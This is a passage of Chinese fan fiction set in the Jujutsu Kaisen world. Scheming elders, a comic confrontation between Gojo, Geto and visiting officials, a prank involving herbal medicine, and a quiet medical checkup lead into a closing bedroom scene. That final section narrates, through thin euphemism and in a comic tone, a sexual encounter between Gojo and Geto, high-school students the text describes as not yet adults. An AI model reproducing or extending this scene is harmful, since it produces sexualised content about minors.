侍从示意石田辉止步,警告他不要再上前了,自己则转身走近大门,规律地扣了三下,“大人,人带到了。”
一道苍老沙哑,盛气凌人的声音淡漠响起,“带进来。”
侍从推门,站在门外伸手,示意他马上进去。
看着辅助监督没入黑暗的背影,他立刻把门合上。
‘吱呀——’一声,老旧腐朽的木门在身后闭合。
这里久经风霜,处处透露着昨日的奢靡浮华,经年之后,也只能靠弥久腐化的装横,支撑着掺满尘土味的威严。
一面谨慎到命人距门很远就留步,一面连扇铁门都不肯安,倔强的不准让音都不隔的木板退休……
石田辉余光瞄着四周。室内昏暗压抑,没有灯光,用的还是几个世纪前的挂墙烛台,连油灯都没有,活像是吸血鬼的老巢。
几只裹着和服的橘子蹲在屏风后面,壁灯隐隐约约照出几道忽明忽暗不连贯的影子,各个弯腰驼背支在椅子上,仿佛那是与他们相依偎的心爱棺椁。
石田辉站在弧形大厅的中央,面上诚惶诚恐,深深埋头,在众人看不见的地方,结结实实翻了个白眼。
他站了很久,久到腿麻,像是被吓的两股颤颤抖腿,不动神色的翻了翻麻了的脚腕。
见此,屏风后的人才满意,传来沙哑的声音,像是才注意到的这里有人似的,漫不经心地说,“石田辉,你可知罪?”
石田辉头埋得更低了,腿抖得更快了,“我我我我,我不知道啊!”
“哼!六眼曾见过星浆体,你为何不上报!我问你,星浆体去了哪里?!”
“我我我我我我,我不知道!他们,他们没说!”
石田辉倏地抬头,眼神惊恐,像是察觉此举冒犯,又马上低回去,不停地咽口水,才颤抖着声线回答,“家父,家父曾得罪过他们。他们,并不信任我,也不令我更着……”
“呵,此乃推脱!总之,你要为此事负责,限你三日之内,查出星浆体的下落!”
“我,我知道了。”
石田辉唯唯诺诺的的应下来。
屏风后的声音恩威并施,“此事完成的好,你往后便归属于总监部,此后成为六眼的专属辅助监督,监视他们的行踪举动吧。”
石田辉倏地抬头,激动的瞪大眼睛,猛地90度鞠躬,感激涕零道,“多谢各位大人赏识!”
“退下吧。”
“是,是,是!”
他连声应道,后退了数步,恭敬的转身,转身瞬息,翻了个大大的白眼。
门外的侍从恭候着,他笑着拒绝引路,顺直走到财务部门,掏出一叠叠账单。
佝偻着背的中年男人埋在一摞摞账铺里,他机械的从右后方一摞中翻出一本厚厚的账本,头都不抬接过单子,拉出计算机费劲的加减乘除起来。
石田辉百无聊赖,一边维持人设,一边在心里和他同病相怜。在古板老旧的人手底下工作的后果就是,工位上连台电脑都没有。
当然,咒术部门的财务大多都是枝连枝攀上来的,他们估计没有读过会计专业,应该也操作不来财务系统。
神游了一会,有一搭没一搭的想着。半晌,看着得出的数字,男人麻木的眼神变得惊恐,抬头,用一种“你在驴我”的眼神看着他。
石田辉回过神,缩着肩膀蚊声细气,“这是五条家少主的账单,”他补充道,“本来他要买栋别墅专门祓除咒灵的,我没让……”
对面的男人呆了会,最后木着眼睛盖了章。自己就是个打工的,反正不是他的钱,蒜鸟蒜鸟。
石田辉出了总监部,看着银行卡上膨胀的数字,开始真心实意感谢起总监部的安排来,深觉这的确是个肥美的差事。
总监部内部。
没了外人在场,一群年过半百的老头子吵了起来。
“六眼真是越来越无法无天了,我们总要想个办法治一治他!”
仗着五条一派的在席人员不在场,一个绝顶的老头大放厥词。
“我们是不想吗?!还不是石田彰不给力,不仅未能招揽到咒灵操术,反而将他推向了五条一派!”
“星浆体也不见了,若是天元大人同化失败……”
“还不是监管不力!我当初就说了,不要完全听从天元大人的决定,至少要派一些人监视星浆体行踪!”
“你这么能,你当初怎么不做呢?”
“好了!都别吵了!”一个满头长满黑白芝麻的老人开头,他头顶一条缝合线,正是加茂派的长老,加茂袭人。
“我前些日子不在,你们怎么把计划提前了那么多?”他握住椅子扶手,冷声质问,“在开学那日动手,生怕他们警惕性不够高吗?!”
“你敢质问我等?”主持石田辉一事的老头冷笑,眼神晦暗,威视逼人。
他们这个年纪,除了舍不得的权势,最在乎的无外乎自己那张面皮,岂能容忍他人对自己大呼小叫,更何况加茂袭人将刀锋对准了在场除他自己外的所有人!
“欸欸——莫要动怒。”禅院家的长老出来和稀泥,在五条家六眼诞生后,禅院和加茂自然而然站到了同根战线,“加茂长老也只是忧心我等大计不成。”
他朝加茂袭人使了使眼色,加茂心不在焉的点了点头。
那老头这才缓和了神色,问道,“同化还需要多久?”
“几个月吧。”
禅院长老:“可惜了,六眼的运道啊……不过能除去咒灵操术也不错了。六眼一向不耐,谁能料到临到关头,五条家会提前对他进行内部评级呢?”
那老头早视那个刺头为眼中钉,恨不得除之而后快,耀武扬威一辈子,谁也不想临到晚年头上压坐大山,“派人去一趟高专,夢魔一事也该问责了。”
“执行任务如此不尽人事,害得我们与政府博弈势弱,否则这次炸弹事件也不会一拖再拖!”
“呵,狼子野心的政客!区区猴子也妄想染手咒术之事!!”
会议室顿时乌泱泱的骂成一片,他一言你一语,众人同仇敌忾的嚷嚷怒骂,斥责政府狗胆包天。
……
加茂袭人不想听那些没用的愤恨抱怨,他摁住太阳穴走出会议室:
一群成事不足败事有余的蠢货!
不过……目标错了吗?
他嘴角掀起一抹怪异的弧度,指尖摸了摸头顶的疤痕——
也不枉费一番谋划。
一切,犹未可知啊。
29.高层到访
周日早上,十点。
夏油杰刚迈进食堂大门,扑面而来的便是一股苦臭苦臭,好似放久了的梆硬的臭袜子味。
黑发少年皱着眉,苦大仇深地捏住高挺的鼻子,蹑手蹑脚摸进去。
刚蹭到窗口想绕进后厨,打饭的食堂大叔颠着肚子,眼疾手快地拽住了他的胳膊。
被带的回头,他怼到他面前的就是一碗黑乎乎的汤药。
首先感知到的是气味,是大雨冲刷过后角落的纸箱腐化发臭的那种土腥味。
他僵硬着把自己拉远一点,“这……是什么?”
大叔鼻孔里各塞满了两根又粗又短又胖的卫生纸团,他把滑出来的纸团用小指往里怼了怼,闷声回道,“夜蛾老师给你求来的中药,听说对身体有好处。我熬了三个小时呢!快,把他趁热喝了。
说着,固执的把碗又往他身前递了递。
夏油杰满头问号,他也没觉得自己身体有什么问题啊!
苦大仇深的接过,满脸抗拒的凝视。
深色的药汁顽固的挂在碗壁上,不知名的残渣在汤面上起起伏伏。
横看竖看,总之不管怎么看都是老巫婆在坩埚里熬煮的,用来诅咒他人的毒药。
夏油杰盯了一会抽出一根筷子,捞出一片透明细薄的叶状物,犹豫了一下问道:“请问这是什么?”
大叔眯着眼凑近一看,不在乎的又怼了怼纸团,“应该是什么虫子的翅膀没过滤走吧?哎呀,反正都是药材,无伤大雅哈,无伤大雅。”
但这很伤我啊!
“……”
夏油杰满脸挣扎,他鼻翼翕动,实在无法做欺骗自己的事,“夜蛾老师有说这是治什么的吗?”
“补气血亏损,治体虚的,对肾虚尤其有用。”
肾虚,他又不常熬夜,怎么看都是五条悟那个游戏达人更需要吧!
“大叔,这碗我拿走一下。”
“你不会要倒了吧,”大叔满脸狐疑,一副‘我知道你想干嘛’的警惕表情,“我告诉你,这些药是你夜蛾老师自掏腰包专门买的纯天然药材,老贵老贵了,你可不许倒掉,就在这喝!”
“没,我没想倒。”夏油杰改了主意,他眸光一亮,“太烫了,我拿出去晾晾。”
不等回复,他双手抱着碗一溜烟的没影了。
“哎——卖药材送的药碗,你别给摔了,还有九幅呢!”
“哇啊,什么味道啊!臭到老子了!”
五条悟难受的将自己埋进小被被里,斜着的眼睛每根睫毛上都写满了“哒咩!”
夏油杰端着碗温婉地笑着,在白发少年眼里却像极了骗白雪公主吃下毒苹果的老太婆。
老太婆肌肉健瘦的手臂一把捏住公主后脖颈细嫩的皮肉,旱地拔葱的将他直愣愣的拔起来掀了个面。
“这个对身体有好处,快喝了吧。”
“老子身体倍儿棒!”
夏油杰故意把调子拉的老长,语气夸张极了偏偏又显得真诚,“还可以更棒!它可以让你更——有男子气概!”
“男子气概?”五条悟懵了一下,喝药还能让人更有男子气概?
夏油杰憋着笑点头,治体虚肾虚,可不是让人更有男子气概吗?
“老子已经够有男子气概了!”
“你最近是不是越起越晚?”
夏油杰发挥毕生演技可劲忽悠。
看着钟表上时针明晃晃的滑到十一点,五条悟迟疑着点了点头。
“你是不是面色偏白,怕冷畏寒?”
自己确实天生偏白啦,至于畏冷怕寒……要是不承认的,岂不是在打自己脸?
五条悟皱着脸,捏着鼻子认了。
“这不就对上了吗!”夏油杰满身正气,满脸凝重,满眼关心。
“由此可得,你魁梧雄壮的男子气概正在蹭蹭蹭蹭蹭——的往下跌啊,再不采取措施,你该怎么办!你还这么年轻!”
越说夏油杰越动真情,他伤心欲绝的盯着五条悟瞳孔疯狂颤动的眼睛,泫然欲泣的表情配上冒死进谏的口气,令得白发少年登时倒吸一口凉气!
他手忙脚乱的掀开身上压着的丸子头,一个箭步冲进浴室,扶着吸手台边缘,皱着眉左看右看。
布灵布灵的大眼睛,噗嗤噗嗤的睫毛,水嫩通透的脸蛋,美中不足的是眼下一圈浓黑到隐隐泛出青紫的眼圈。
一口凉气,要把全世界的空气都吸进肺里的感觉。
老子完美无瑕惊天动地世无其二的绝世美貌啊!
杰……杰……
他惊恐的捧住自己的脸蛋,无意识用力挤出肥嘟嘟的软肉。
没有男子气概,他怎么在气势上压过那个粗鲁的嘴角有疤的嚣张肌肉男,还那一脚之仇?没有男子气概,他和杰的未来怎么办?
杰……杰真的觉得,老子没有,男子气概了?!
不可以!接不接受!
“杰——我喝,我喝!”
他倏地手脚并用,狼一样扑出去,扒拉住碗,决定一口闷的瞬间,又忐忑顿住。
“这东西真能补回老子的气概?”
夏油杰拍着胸脯打包票,“能,肯定能!熬了三个小时呢!”
感动,他竟然为了我们的未来做到了这个份上……
为了几天后不被肌肉男嘲笑,为了杰的未来,未来幸福的挚友生活——
五条悟一副英勇就义的表情,他庄重的将碗举起,对准灯光,一句“老子去也”后不再犹豫,双手捧住,咕噜咕噜灌进肚皮。
“呕——哕——”
没吐出来?
一面顺着五条悟的背,一面往他嘴里塞橘子糖的夏油杰还有心情揣测那碗药的真正重量级。
五条悟的眼角泛红,呛出了泪滴。他死命拍着胸脯,委委屈屈的扑回床上,一副生无可恋的样子。
“幸好老子聪明,把无下限裹在了舌头上。”五条悟吐着色泽依旧粉嫩未被药汁污染的舌头,含糊着嗓音一副劫后余生的模样。
夏油杰顺背的动作不停,“那怎么还一副这种表情?”
“鼻子,鼻子,懂不懂。”
“懂懂懂,您的鼻子比狗还灵。”
五条悟气绝,不借力的非人腾空,骑在了夏油杰的脖子上。
夏油杰本来斜站在他床边,受到冲击酿跄了好几步才勉强稳住步子。
他也不生气,扶着五条悟的精瘦的长腿陪他玩摇摇乐。
“油杰号听命,朝着镜子进发!进发!” 五条悟挥斥方遒,指点山河。
“……”
夏油杰有点羞耻,但还是配合着他,有气无力的应和,“听命~听命~”
“不是这个口气!”
五条悟握着丸子头,像把住了船舵或方向,不满的往上提了提。
夏油杰头皮发麻,为了一头美发,他板正刚硬的回复指令,“听命!听命!听——命!”
说着,他驼着精力旺盛的少年穿过大洞,拐进了自己的房间。
这堵墙在五条悟的撒泼打滚,夏油杰的欣然点头下干脆从墙顶完整的打出一道宽门。为了美观,五条悟还兴致勃勃乐在其中地特意控制着飞旋的苍,像牙医握着电钻一样将不规则的齿边磨的规整匀称。
一个滑步,黑发少年稳稳停在一堵全身镜前。
这面全身镜是夏油杰专门从校外买了几块软玻璃,规整拼凑后贴出来的。
身上的人腰腹蓄力,不安分的微微挺起,弓着身要去扶镜子。夏油杰默契的把人往上兜了兜,改扶住膝盖下方。
五条悟左看右看,黑眼圈依旧,没有任何变化。他郁闷的趴回头顶,下巴伏在放在丸子上的自己的手上,委屈又伤心的闷闷说,“杰骗人,一点作用都没有。”
黑发少年拍了拍他的大腿以示安慰,“这种事要坚持,哪有喝一次就有用的?”
五条悟歪歪脑袋:“还有几次?”
“九次吧。”
“那你都给老子煎了!”
“九次是九天的药,喝太多小心爆体而亡!”
“什么东西能让老子爆体而亡,老子更要试试了!”
“五条夏油,”硝子抬手敲了敲门板,几声清脆的“笃笃”声成功吸引了两人一点残余的注意力。
“操场上有几只橘子顶着风晒太阳,说要你们过去‘汇报’一下之前拖拖拉拉的任务情况。”
门板虚掩着,一敲,嘴便咧的老大。趋近三米的父子组合,家入硝子只是觑了几眼,见怪不怪。
一个是能说出‘挚友为什么不能是老婆’的深闺少爷,一个是越发纵容的无下限慈母,哪天上演小妈文学,自己眼睛也不会再眨一下。
*
操场上,近午的秋阳徒有其表的招摇着,刺眼但不扎人。
在中央,那几个高层委派来的男人如几尊老掉牙的旧塑料奥特曼,摆着设定好的架势。
为首的一个,是个下巴上留着一撮山羊胡的中年男,眼神阴鸷的盯着还在扮大头儿子小头爸爸的两人。
“五条悟!夏油杰!”山羊胡男人声音干哑,“你们两个,成何体统!”
五条悟双手揉着丸子,头都懒得抬一下,“呦、呦、呦、哟、哟——”
什么都没说,什么都说了。
对面的人不出意料的炸了!
“你们两个!”他拧着脸咬牙切齿,“你们可知罪!”
“啊?罪?我吗?”五条悟歪着脑袋,“我想起来!”
“我罪在对你们太过漠视,漠视到忘了要我的精神损失费!”
他双手一拍,拍扁了丸子,一副恍然大悟的神情,“夢魔被你们搞得没线索,老子吃没吃好睡没睡好,完全耽误了老子长高高!赔!你们必须赔老子十七八个亿,否则咱们没完!”
“放肆!”山羊胡旁边一个面色赤红的男人喝道,唾沫星子都要喷到夏油杰脸上了,“任务完成的一塌糊涂!拖延时间、耗费资源、不经批准闯进星浆体住所导致她失踪!现在还有脸来碰瓷我们!”
“哇~哦~杰,他会说碰瓷诶!”
“悟,不要把他们都想成古董橘啊,还是有放久了的发霉橘的。”
“啊咧咧,反正都很恶心就是啦。”
“倒也没错。”
傍若无人的两人你一句我一句,山羊胡忍无可忍,他虚空一握,凝结出一把古朴的长弓。
五条悟这才饶有趣味的赏给他一个眼神,他趴在被揉的毛茸茸的黑发上面,自然垂落的指尖凝出莹莹蓝光。
他眉头一挑,“动手的话老子奉陪哟!”
那蓝光细微幽暗,几不可查,比之烛光熏熏,媲之萤火瞳瞳。但旋于指尖暴虐肆意的恐怖
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绞力,只从微出泄出一丝,足叫人毛骨悚然。
山羊胡将目光投向斯文文雅的黑发少年。
少年的肩上驮着一个摇头摆尾的庞然大物,头发乱蓬蓬的,规整的丸子头被揪的左倒□□,他却眼角含笑,面色如春。
“夏油杰!你向来明理!一个一级咒灵以你二人之力岂会拖延日久?!星浆体本安分的待在结界里,在你二人闯入后便杳无踪迹,这和你们脱不了干系!”
他试图从这个受过正常思想品德教育的,看起来更温和,更讲道理的年轻人身上打开缺口。
夏油杰轻叹一声,那叹息包含着一种恰到好处的、面对无理取闹时的无奈包容,“可你们不是说我是野狗吗?野狗可是听不懂道理的,只会连经带骨的撕下块块皮肉来。”
他语气温和,面容秀丽,说出的话却令人不寒而栗。
“你……你!!”
山羊胡握弓的手都在发抖,弓上的箭矢在脉脉蜿蜒的蓝光与莹莹发亮的蓝瞳下不敢射出,又倔强的不肯放下箭矢落下面子。
“无法无天!简直无法无天!必须严惩!立刻……”
“严惩?”五条悟眉头一挑,终于舍得从夏油杰身上跳下来。他笑容戏谑,眸光却是睥睨一切的冰冷。
蓝色光柱席卷声浪呼啸而过,时间与空间在那一刹好似被强行扭曲冻结。
“哐当!”
木弓掉在地上。
山羊胡与身后的男人面上的怒容好似滑稽做出的整蛊蛋糕,松弛的脸皮如同太阳下融化的奶油,张开的嘴、爆出血丝的眼球混在这坨花掉的奶油里,恶心又怪诞。
整个操场一片死寂,五条悟慢条斯理的活动了一下手指,歪头看着那群冻僵的鹌鹑,声音不大却字字敲在每个人的心脏上:
“再吵吵嚷嚷坏本大爷心情,就去和鬼做做伴!”
山羊胡张了张嘴,想维持最后的威严,喉咙里却只发出“嗬嗬”的抽气声,一个字也挤不出来。
就在这令人窒息的死寂中,夏油杰动了。
他脸上依旧是那副温和得体的笑容,仿佛刚才的剑拔弩张、杀气四溢从不存在。
“几位记得向高层申请一笔精神损失费和心理抚慰金,作为因高层致使任务疏漏的补偿,”他像是深思熟虑般的报出一个足以让高层心梗的数字,又指了指操场上那条沟壑从生隧道,“还有今日问责造成的高专损失,也记得报销一下哦。”
“你……你们……”山羊胡老者指着夏油杰,手指抖得比强演唱会门票还快,眼前阵阵发黑。
精神损失费?心理抚慰金?还报销五条悟轰出来的损失?
巨大的荒谬和被羞辱的怒火直冲天灵盖,他胸口一阵剧痛,喉头一甜,一口血当场喷出来。
“噗嗤——”
“噗嗤——”
一声极力压抑却又清晰无比的嗤笑,从操场边缘的树荫下传来。
家入硝子再也忍不住了,她捂着嘴,肩膀一耸一耸地抖动着。
“咳!”
低沉的咳嗽声打破了陡然僵住的气氛。
夜蛾正道站在操场大门口,高大的身影如同一座沉稳的山岳。他面无表情,目光扫过那几个摇摇欲坠、下一秒就要集体中风的高层,又扫过那两个问题学生——
一个插着兜,嚼着不知道什么时候塞进嘴里的口香糖,眼神里写满了“还有事吗没事我走了”;另一个笑的人畜无害,眼神却咄咄逼人。
班主任深吸一口气,额角的青筋隐隐跳动,最终认命地开口,声音里满是一种“又来了”的疲惫:“够了。”
这两个字像是有某种魔力,瞬间抽走了场上那根紧绷的弦。
“高层问责,证据不足,到此为止。”夜蛾的目光锐利地望着那几个男人,“至于你们两个,”他的视线回转,“现在,立刻,马上!给我回去写五千字检讨!详细阐述任务执行过程以及——”他顿了一下,加重语气,“——对上级应有的‘基本礼仪’!”
“哈?检讨?”五条悟夸张地掏掏耳朵,一脸“你在逗我”的表情。他一把勾住夏油杰的脖子,力道大得差点把人摁倒在地,“走了走了杰!写那玩意儿总比在这里听老橘子念经强!”
他拖着夏油杰,转身大摇大摆地往回走,仿佛刚才的惊天动地不过是场微不足道的游戏。
被他拖着,夏油杰脚步有些踉跄,却也没挣脱,只是无奈地笑着摇了摇头。
走出几步,他像是突然想起什么,回头对着那几个手忙脚乱给人擦血的人,露出了一个堪称儒雅的微笑。
少年微微颔首,风度翩翩:“前辈们,告辞。别忘了精神损失和赔偿费哟。”
“噗——咳咳!”树荫下的硝子这次彻底没绷住,笑的呛咳起来,眼泪都快出来了。
五条悟更是毫不客气,背对着那群人,高高地举起一只手臂,随意地挥了挥,声音拖得老长,带着浓浓的嘲讽和嚣张:“记得打钱啊——老、橘、子、们——”
“噗嗤——”
又一口血,结结实实喷在了高专的土地上。
夜蛾正道满脸沧桑的摸向口袋里的烟盒,指尖却只触到了空瘪的包装。
他面无表情,捏住女学生外套口袋暴露的“特醇七星”女士烟,麻利的抽出“还有你,五千字检讨。”
而后拿着那包烟悠悠晃走了。
30.落到人间
中午,十二点,食堂。
“黑米粥,凉拌卤羊肉,山药汤……主厨最近的房事不和谐吗?”
家入硝子支着脸,有一搭没一搭地舀着粥吐槽。
夏油杰悄咪咪地还完碗,坐回位置上讪讪一笑。
五条悟早上只喝了一碗苦药汤,现在埋头吃的正香。满桌汤汤水水,舀进嘴里总是缺点实感,他干脆逮住卤羊肉不放手。
“夏油,吃好了就跟我来一下吧。”
家入硝子率先端起餐盘起身。夏油杰把自己的那份肉推给脸一鼓一鼓像只仓鼠的白发少年,忙不迭的跟着起身。
“你们去哪?老子还没吃饱。”
五条悟迅疾反手,用筷尾夹住夏油杰的衣角,声音含含糊糊地问道。
家入硝子斜了一眼,刚要开口,夏油杰抓住机会匆匆打断。
“硝子找我要几只咒灵研究一下,你慢慢吃着,吃完了就回宿舍,我待会就来。”
他笑着说道,手上急急推着家入硝子匆匆去了。
五条悟歪头嘀咕了几句,用小指剔剔后牙缝的羊筋,又埋头吃去了。
*
“检查报告一切正常,”家入硝子换了打印机的墨水盒,把稀稀拉拉印上墨渍的A4纸重新放回纸槽,摁下开关,将还热着新鲜出炉的一沓报告递给他。
自从邀请了伏黑甚尔,五条悟便让五条家购入了一批医疗设备,清单是由家入硝子例出来的。
“怎么突然想起来做全身体检?”
味觉电位图、血锌水平、血液指标、鼻窦影像……这些夏油杰特意列出的项目,如家入硝子所说,一切正常。
“没什么,”他强忍着没在敏锐聪慧的女同期面前吐出一口浊气来,“只是最近胃口太差,查查肠胃而已。”
为了混淆视听,这一沓报告几乎把能查的都查了。反转术式家入硝子已经上手且逐渐熟练,对医疗器械却是头一次实操,倒也不介意多些研究材料。
“是么?肠胃,不能和五条说?”她眉头一扬,若有所思地看着他。
自己这个同期,温和柔软却傲慢倔强,尤其要强,能不麻烦就不麻烦别人,生怕别人为他费心操劳。她半点不信对方会因为没胃口这种事拜托到她跟前来的借口。
心思百转,她端详夏油杰近来更为清晰的轮廓线。半晌,眸光粼粼,长长叹息,“夏油,你瘦了。”
夏油杰哑然,他被烫的垂眸,喉结上下滚动,忽地抓住一瓶矿泉水拧开喝了几口。
精神分裂和废人不是同个概念,他只是来了断念想罢了。
最终,他只是说,“我没事。”
扩充后的医务室静的能听到呼吸声,在医师沉静温和的眸光下,夏油杰恍若置身于一间隔音室,连最微渺的心跳都声声如钟。
监测仪器的电流滋了一声,家入硝子开口打破沉寂,“你最近越发纵容五条了。”
夏油杰放松的又喝了口水,“有吗?”
“没有吗?”家入硝子抱着胳膊,唇角勾起,眼角的泪痣生动起来,“你不仅越发纵容,还给他当起老师上了瘾,不是吗?”
夏油杰保持懵懂无知的策略绝不动摇,一脸迷茫无辜的望着女同期。
“有吗?”
家入硝子哼笑一声,“又是骑腰又是骑脖子的,夏油,五条可不是小孩。”
“只是打闹而已,而且关系不一样,相处模式自然up up了。”
“OK,我姑且再提醒一句,五条是个快成年的人了,比你还要大一点。你以前教他为人处世,可不怎么给他灌输什么‘以强护弱’的观念。”
夏油杰从来不是擅长勉强他人的类型,大多数事他说他的,别人听不听都随他。
唯有对五条悟,他是几近掌控的姿态,迫切的想要留下些什么。
越发明显,几乎托孤。
家入硝子冷眼旁观着,渐渐迷糊,有些看不懂了。
黑发少年卡了卡,他抹下发圈,将散乱的黑发顺了顺,扎成一个马尾,才开口说,“我只是觉得,悟…不太一样。”
“
他是游离在世间的若即若离的神子,我总想让他落在人间来。”
“我想让他双脚落地……不是弯下腰的,”他皱着眉,不知道该怎么说。
“他是一只小白猫,”最终他这样措辞,“任何人与事在他眼里都是一团毛线球,探爪挠了挠之后很快便会索然无味,抽身离去。悟出身五条家,他什么都是最好的,但如果没有华服锦衣,玉盘珍馐也无所谓。”
“世界在他眼里缺乏秘密。”他如此形容,几乎讶然赞叹,“他与世界之间没有锚。没有锚的船,一阵风,一片浪,一场小雨,一个偶然,随时离岸。”
“他总是最好的,不至于触礁,但海上不会有第二艘船,第二片岸了。”
“只是如此?”
她放松了心神,压下那些不太妙的预感。
“只是如此。”
夏油杰盯着她的眼,眸光沉浮间有很多掩埋底下,汹涌的,澎湃的,神秘的,她看不懂的东西。
好在她能看懂的部分是温柔的,炽热的,诚恳的,难得坦率的。
家入硝子哑住了,一时有些羡慕。
他们和她之间,总是有些不同的。
“你不想让他流浪,”她还是几乎本能的察觉到一丝违和,舌头在口腔打转,一时有些后悔提起面前人的小猫转移话题,才逼得自己不得不按他的形容,也吐出一些肉麻的词汇。
“别太担心,对于五条而言,你就锚,是海上的第二艘船,第二片岸。”她顿了顿,提醒道,“不要把他想像成你,他不是什么猫咪,以他的个性,是不会害怕孤独寂寞的,甚至可能会享受吧。”
对于前半段话,夏油杰轻轻笑着,未置一词。
锚会生锈,船会触礁,岸也会被浪淹没打散。
他固执的重复一遍,“他总是最好的。”
五条悟是那么坚强,他永远不会动摇,坚持目标,看到自己。
“没有人是应该孤独的,硝子。即便是悟。你也一样。”
家入硝子下意识移开目光,她想了想,或许是嘴硬或许是真心劝慰,“夏油,控制好自己,不要期望一个人在你面前变成透明。无论是朋友,还是你口中所谓的挚友。”
夏油杰狭长的眼尾飞扬,几乎得意的姿态,自豪的说,“我们约定好,彼此永不隐瞒!”
“又是挚友条例?”家入硝子又一次后悔掺和他们两个的事,她点了点厚厚的一沓报告,心累的说,“你做到了吗?”
“……”
眉不飞了,色不舞了,狐狸蔫了。
家入硝子绕到桌子前坐下,看了他一眼,是逐客的姿态。
夏油杰心不在焉的把报告分批次丢到碎纸机里,转身出去将门合上。
看着即将闭合的门,家入硝子忍不住扬声道,“别死了!”
门顿了顿,终究是关上了。
*
宿舍里,五条悟燥的打滚,又一次睁开眼睛。
直勾勾的盯着天花板半晌,他直勾勾的眼神移到下三寸的兄弟。
高个的兄弟被燥的睡醒,勾着身体闷在薄薄的被子里。
五条悟不爽的拨开被子,把兄弟拉到冷空气里,用眼神逼视威胁,试图让他重新睡着。
半晌,未果。
他皱着鼻子,有些委屈,下意识的呼唤必会回应的姓名,“杰,杰!”
兄弟更兴奋了。
五条悟抿着唇一脸凝重,生涩地握住兄弟的腰摇来摇去,力道大的没轻没重,兄弟没掉眼泪,他自己倒先捂着腰腹嗷嗷直叫。
隔壁卧室的门开了又关,轻巧的脚步声在玄关隐没,接着是两声清浅的“啪嗒声”。
“杰!”
五条悟缩在床上本能叫喊,凄惨的声音激的汲着拖鞋的黑发少年鞋都掉了一只,噼里啪啦的飞过来。
“悟!怎么……了?!”
声音吓的变调升key,拐了个360度的大弯。看着没有被子的兄弟,夏油杰瞳孔骤缩,嗖的一声摊开被子捂在白发少年身上,把整个人裹得严严实实。
他手脚并用压住被子的四角,咬牙切齿道,“你在干什么,白天不能溜鸟!”
他马上又补充了一句,“晚上也不能!什么时候什么地方都、不、能!”
五条悟像是被妃子用枕头闷住脸四处挣扎找气孔却无法门的老皇帝,被子被崩的死紧死紧,精准的勾勒出他的轮廓,特别是夏油杰无意识压紧的被头,几乎可以隔着被子判断被眼球顶起的眼皮。
五条悟挣扎着从被子里拔出双臂,吃力的把脸上的暗杀凶器往下一抹,喘着粗气,眼角飞红,可怜兮兮道,“杰,老子下面难受。”
夏油杰愣住了,放缓手里的力道。
喝了一碗药性极佳的浓缩中药,干了几大碗羊肉羊腰,少年血性激起,似乎也该是意料中的事……个屁啊!
药是补药又不是春药,肉是凡肉又不是仙肉,根本不会到这个地步,这完全是他自己的原因吧。
他不在的时候五条悟看了什么乱七八糟的?想了什么污秽不堪的?
五条少爷心里没那么多弯弯绕绕,他只觉得难受,难受的扭来扭去也缓不了,就像是在四十度的高温下吹着三十八度的热空调吃着刚烧开的辣火锅配着刚端上的烧酒,整个人要炸膛了!
他蹙着眉皱着脸,探出的两只要把人烫化的手,精准的抓住了夏油杰的手腕,急不可耐的把它往被子里拖,“杰,杰帮帮老子吧,啊?”
“这种事,你自己搞。”夏油杰的耳垂殷红,绝不松口。
“为什么?老子好难受,杰为什么不可以帮帮老子?”
看着五条悟莹润泛水的双瞳,配上绯红的眼角,好似天空下起的太阳雨。
夏油杰咬紧牙关死守底线,“悟,这是很私人的事,不可以…叫别人帮忙。”
“可是老子对杰全部敞开啊!”五条悟红着脸,不是羞涩而是被热红的。
这家伙完全没意识到自己再说什么了不得的话啊!
似被蛊惑一般的,夏油杰呆呆的,控制的力
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道也松了。
察觉到再无阻碍,五条悟顺利让挚友与兄弟会师,兴高采烈地开了个漂流大会。
半个多小时后,夏油杰面红耳赤的飞一样冲进厕所。
五条悟砸吧嘴,对流泪的兄弟回味无穷。他翻身,光着屁股蛋子,坦然从衣柜拿出一条崭新的裤衩,将兄弟的旧棉被送进垃圾桶。
救命,怎么回事!
夏油杰双手展开,还算白皙的掌心和虎口的红痕横贯,此刻躺在水里,久久挥之不去。
不会……他是第一次吧!
也对!悟平时一看就是一副性冷淡的样子,对什么都不感兴趣,更别提有那方面的冲动了,所谓手机屏幕上大和抚子般的“井上和香”,也更多是他这个落后网民晚来的跟风期罢了。
这么想还有点小罪恶,毕竟他纯洁了十几年的身体因为自己被玷污了。
夏油杰空茫的眼睛逐渐聚焦,焦点理所当然落到了那双不敢交握的手上,整个人啪地裂开了。
啊啊啊啊啊啊,可是!自己纯洁的双手也被他玷污了啊!
这小子,凭什么比自己持久!没道理啊!
嫉妒,这一下彻底嫉妒了!
夏油杰整个人红温了,不仅因为嫉妒,更是因为那双此刻出于薛定谔状态的手。
——冲了这么久,他不确定干净了没。
眉头打着结,他盯着半晌,两眼一闭,手臂像生锈的机械一般,一咔一咔的弯曲,指尖探向自己的鼻尖。
在距离鼻尖还有几公分的时候,他顿住,猛的睁开眼,目眦欲裂的把水龙头扭到最大,挤了堆积如山致死量的洗手液,气急败坏的狂轰乱搓。
五条悟光着两条大长腿,悄咪咪的猥琐趴在厕所的门板上面。
指着耳朵,听着里面传来的滋哇滋哇四处飞射的水声,他鼓着脸缩了缩脖子。
听到脚步声,一个大转,抢先一步把自己旋到椅子上坐下。下一刻,厕所的门把手下拧,夏油杰拉门而出。
五条悟支着下巴看着他通红的手,眨巴着眼睛说,“杰不喜欢吗?”
“听着,悟,”夏油杰深吸一口气,语气严肃地说,“这种事情是很私密的!除了自己,你只能和爱人做,绝不能和别人这样!”
白发少年歪着脑袋,顺其自然的说,“那我和杰□□人不就好了。”
语气理所当然,语意斩钉截铁,态度直白飒爽。
“什么?”夏油杰掏掏耳朵,祂也没说听觉也是代价啊!
“我说——”五条悟站起身来,将近一米九的身高恰好高夏油杰半个脑袋,将不算太小的一只狐狸完全罩在自己的阴影下,“我和杰做恋人不就好了。”
看着挚友呆滞的眼神,空白的面孔和僵住的身形。五条悟不疾不徐地向他阐述一二三四五:
“老子想过了,挚友和恋人没有区别!”
他竖起三根手指,说着点头,像是在声援支持自己,“首先,挚友是可以永远在一起的,恋人也是可以永远在一起的,而老子和杰要永远在一起。”他扣下一根手指。
“其次,刚刚那是快乐的事,老子很喜欢。老子相信杰也会喜欢的,如果只有恋人之间可以做,那么已经做过的老子和杰就是恋人了。”又扣下一根手指,他瞄了一眼恍恍惚惚的狐狸语速飞快的补充,“杰如果也想体验,老子也不是不行。”
他咳了两声,迅速拉回话题,“最后!”他一脸认真,语气严肃的宣布,“生米煮成熟饭!杰已经和老子做了只有恋人才可以做的事,就不能再始乱终弃把老子推给别人!”
逻辑严密,无懈可击!
